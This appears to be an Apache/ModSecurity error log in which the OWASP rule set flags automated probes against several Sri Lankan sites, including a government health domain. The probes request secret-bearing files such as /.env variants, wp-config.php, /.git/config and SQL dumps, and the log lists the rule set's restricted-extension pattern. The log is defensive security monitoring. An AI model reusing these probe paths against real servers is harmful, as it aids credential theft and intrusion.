[Fri Jul 17 08:27:10.404860 2026] [security2:error] [pid 1994446:tid 1994446] [client 32.192.229.88:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "trails.lk"] [uri "/index.php"] [unique_id "almaBl2NhE8i6ppze4etnAAAAAs"]
[Fri Jul 17 08:27:10.406266 2026] [security2:error] [pid 1993572:tid 1993572] [client 3.236.14.214:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.nccp.health.gov.lk"] [uri "/.env.local"] [unique_id "almaBol9vhFBGA6D8l92KAAAAAw"]
[Fri Jul 17 08:27:10.406504 2026] [security2:error] [pid 1993572:tid 1993572] [client 3.236.14.214:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.nccp.health.gov.lk"] [uri "/.env.local"] [unique_id "almaBol9vhFBGA6D8l92KAAAAAw"]
[Fri Jul 17 08:27:10.414649 2026] [security2:error] [pid 1994446:tid 1994446] [client 3.236.14.214:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.nccp.health.gov.lk"] [uri "/.env.backup"] [unique_id "almaBl2NhE8i6ppze4etnQAAAAs"]
[Fri Jul 17 08:27:10.414924 2026] [security2:error] [pid 1994446:tid 1994446] [client 3.236.14.214:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.nccp.health.gov.lk"] [uri "/.env.backup"] [unique_id "almaBl2NhE8i6ppze4etnQAAAAs"]
[Fri Jul 17 08:27:10.415975 2026] [security2:error] [pid 1994446:tid 1994446] [client 3.236.14.214:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.nccp.health.gov.lk"] [uri "/.env.backup"] [unique_id "almaBl2NhE8i6ppze4etnQAAAAs"]
[Fri Jul 17 08:27:10.499268 2026] [security2:error] [pid 1993604:tid 1993604] [client 3.236.14.214:0] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "nccp.health.gov.lk"] [uri "/wp-config.php"] [unique_id "almaBoha5y5fYnQ1qRrvegAAAAE"]
[Fri Jul 17 08:27:10.499586 2026] [security2:error] [pid 1993604:tid 1993604] [client 3.236.14.214:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "nccp.health.gov.lk"] [uri "/wp-config.php"] [unique_id "almaBoha5y5fYnQ1qRrvegAAAAE"]
[Fri Jul 17 08:27:10.500050 2026] [security2:error] [pid 1993604:tid 1993604] [client 3.236.14.214:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "nccp.health.gov.lk"] [uri "/wp-config.php"] [unique_id "almaBoha5y5fYnQ1qRrvegAAAAE"]
[Fri Jul 17 08:27:10.505490 2026] [security2:error] [pid 1993604:tid 1993604] [client 3.236.14.214:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "nccp.health.gov.lk"] [uri "/.env"] [unique_id "almaBoha5y5fYnQ1qRrvewAAAAE"]
[Fri Jul 17 08:27:10.505800 2026] [security2:error] [pid 1993604:tid 1993604] [client 3.236.14.214:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "nccp.health.gov.lk"] [uri "/.env"] [unique_id "almaBoha5y5fYnQ1qRrvewAAAAE"]
[Fri Jul 17 08:27:10.506177 2026] [security2:error] [pid 1993604:tid 1993604] [client 3.236.14.214:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "nccp.health.gov.lk"] [uri "/.env"] [unique_id "almaBoha5y5fYnQ1qRrvewAAAAE"]
[Fri Jul 17 08:27:10.510178 2026] [security2:error] [pid 1993604:tid 1993604] [client 3.236.14.214:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "nccp.health.gov.lk"] [uri "/.env.dev"] [unique_id "almaBoha5y5fYnQ1qRrvfAAAAAE"]
[Fri Jul 17 08:27:10.523605 2026] [security2:error] [pid 1993604:tid 1993604] [client 3.236.14.214:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "nccp.health.gov.lk"] [uri "/.env.dev"] [unique_id "almaBoha5y5fYnQ1qRrvfAAAAAE"]
[Fri Jul 17 08:27:10.524166 2026] [security2:error] [pid 1993604:tid 1993604] [client 3.236.14.214:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "nccp.health.gov.lk"] [uri "/.env.dev"] [unique_id "almaBoha5y5fYnQ1qRrvfAAAAAE"]
[Fri Jul 17 08:27:10.533687 2026] [hostinglimits:warn] [pid 1993604:tid 1993604] mod_hostinglimits: Error on LVE enter: LVE(1076) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/b36c2a497adbc66630208a76c6f7c34b4b004f6a.sock|fcgi://trails.lk) HOSTNAME(trails.lk) URL(/index.php) TID(1993604) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:27:10.538628 2026] [hostinglimits:warn] [pid 1993604:tid 1993604] mod_hostinglimits: Error on LVE enter: LVE(1076) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/b36c2a497adbc66630208a76c6f7c34b4b004f6a.sock|fcgi://trails.lk) HOSTNAME(trails.lk) URL(/index.php) TID(1993604) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:27:10.538735 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1076) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/b36c2a497adbc66630208a76c6f7c34b4b004f6a.sock|fcgi://trails.lk) HOSTNAME(trails.lk) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:27:10.559156 2026] [security2:error] [pid 1993572:tid 1993572] [client 3.236.14.214:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.nccp.health.gov.lk"] [uri "/nccp/public/index.php"] [unique_id "almaBol9vhFBGA6D8l92KAAAAAw"]
[Fri Jul 17 08:27:10.572092 2026] [security2:error] [pid 1993572:tid 1993572] [client 3.236.14.214:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "nccp.health.gov.lk"] [uri "/db.sql"] [unique_id "almaBol9vhFBGA6D8l92KQAAAAw"]
[Fri Jul 17 08:27:10.572450 2026] [security2:error] [pid 1993572:tid 1993572] [client 3.236.14.214:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "nccp.health.gov.lk"] [uri "/db.sql"] [unique_id "almaBol9vhFBGA6D8l92KQAAAAw"]
[Fri Jul 17 08:27:10.572544 2026] [security2:error] [pid 1993604:tid 1993604] [client 3.236.14.214:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "nccp.health.gov.lk"] [uri "/data.sql"] [unique_id "almaBoha5y5fYnQ1qRrvgAAAAAE"]
[Fri Jul 17 08:27:10.572785 2026] [security2:error] [pid 1993572:tid 1993572] [client 3.236.14.214:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "nccp.health.gov.lk"] [uri "/db.sql"] [unique_id "almaBol9vhFBGA6D8l92KQAAAAw"]
[Fri Jul 17 08:27:10.572873 2026] [security2:error] [pid 1993604:tid 1993604] [client 3.236.14.214:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "nccp.health.gov.lk"] [uri "/data.sql"] [unique_id "almaBoha5y5fYnQ1qRrvgAAAAAE"]
[Fri Jul 17 08:27:10.573146 2026] [security2:error] [pid 1993604:tid 1993604] [client 3.236.14.214:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "nccp.health.gov.lk"] [uri "/data.sql"] [unique_id "almaBoha5y5fYnQ1qRrvgAAAAAE"]
[Fri Jul 17 08:27:10.590286 2026] [security2:error] [pid 1993619:tid 1993619] [client 32.192.229.88:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "trails.lk"] [uri "/index.php"] [unique_id "almaBo1dLClkUfK_dfHhSAAAAAI"]
[Fri Jul 17 08:27:10.591527 2026] [security2:error] [pid 1993604:tid 1993604] [client 3.236.14.214:0] ModSecurity: Warning. Matched phrase "/config/parameters.yml" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /config/parameters.yml found within REQUEST_FILENAME: /app/config/parameters.yml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.nccp.health.gov.lk"] [uri "/app/config/parameters.yml"] [unique_id "almaBoha5y5fYnQ1qRrvgQAAAAE"]
[Fri Jul 17 08:27:10.591827 2026] [security2:error] [pid 1993604:tid 1993604] [client 3.236.14.214:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.nccp.health.gov.lk"] [uri "/app/config/parameters.yml"] [unique_id "almaBoha5y5fYnQ1qRrvgQAAAAE"]
[Fri Jul 17 08:27:10.599205 2026] [security2:error] [pid 1993619:tid 1993619] [client 3.236.14.214:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.nccp.health.gov.lk"] [uri "/.git/config"] [unique_id "almaBo1dLClkUfK_dfHhSQAAAAI"]
[Fri Jul 17 08:27:10.599441 2026] [security2:error] [pid 1993619:tid 1993619] [client 3.236.14.214:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.nccp.health.gov.lk"] [uri "/.git/config"] [unique_id "almaBo1dLClkUfK_dfHhSQAAAAI"]
[Fri Jul 17 08:27:10.747897 2026] [security2:error] [pid 1994446:tid 1994446] [client 3.236.14.214:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.nccp.health.gov.lk"] [uri "/nccp/public/index.php"] [unique_id "almaBl2NhE8i6ppze4etnQAAAAs"]
[Fri Jul 17 08:27:10.852092 2026] [security2:error] [pid 2005917:tid 2005917] [client 3.236.14.214:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.nccp.health.gov.lk"] [uri "/.env.production"] [unique_id "almaBnf2WrySr2miwA73YAAAABY"]
[Fri Jul 17 08:27:10.852325 2026] [security2:error] [pid 2005917:tid 2005917] [client 3.236.14.214:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.nccp.health.gov.lk"] [uri "/.env.production"] [unique_id "almaBnf2WrySr2miwA73YAAAABY"]
[Fri Jul 17 08:27:10.891588 2026] [security2:error] [pid 1993668:tid 1993668] [client 3.236.14.214:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.nccp.health.gov.lk"] [uri "/.env.staging"] [unique_id "almaBhAi3pC6yjXGNq19DQAAAAU"]
[Fri Jul 17 08:27:10.891963 2026] [security2:error] [pid 1993668:tid 1993668] [client 3.236.14.214:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.nccp.health.gov.lk"] [uri "/.env.staging"] [unique_id "almaBhAi3pC6yjXGNq19DQAAAAU"]
[Fri Jul 17 08:27:10.892442 2026] [security2:error] [pid 1993604:tid 1993604] [client 3.236.14.214:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.nccp.health.gov.lk"] [uri "/nccp/public/index.php"] [unique_id "almaBoha5y5fYnQ1qRrvgQAAAAE"]
[Fri Jul 17 08:27:10.896459 2026] [security2:error] [pid 1993604:tid 1993604] [client 100.24.67.159:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "systemtec.lk"] [uri "/.env"] [unique_id "almaBoha5y5fYnQ1qRrvggAAAAE"]
[Fri Jul 17 08:27:10.896722 2026] [security2:error] [pid 1993604:tid 1993604] [client 100.24.67.159:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "systemtec.lk"] [uri "/.env"] [unique_id "almaBoha5y5fYnQ1qRrvggAAAAE"]
[Fri Jul 17 08:27:10.897101 2026] [security2:error] [pid 1993604:tid 1993604] [client 100.24.67.159:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "systemtec.lk"] [uri "/.env"] [unique_id "almaBoha5y5fYnQ1qRrvggAAAAE"]
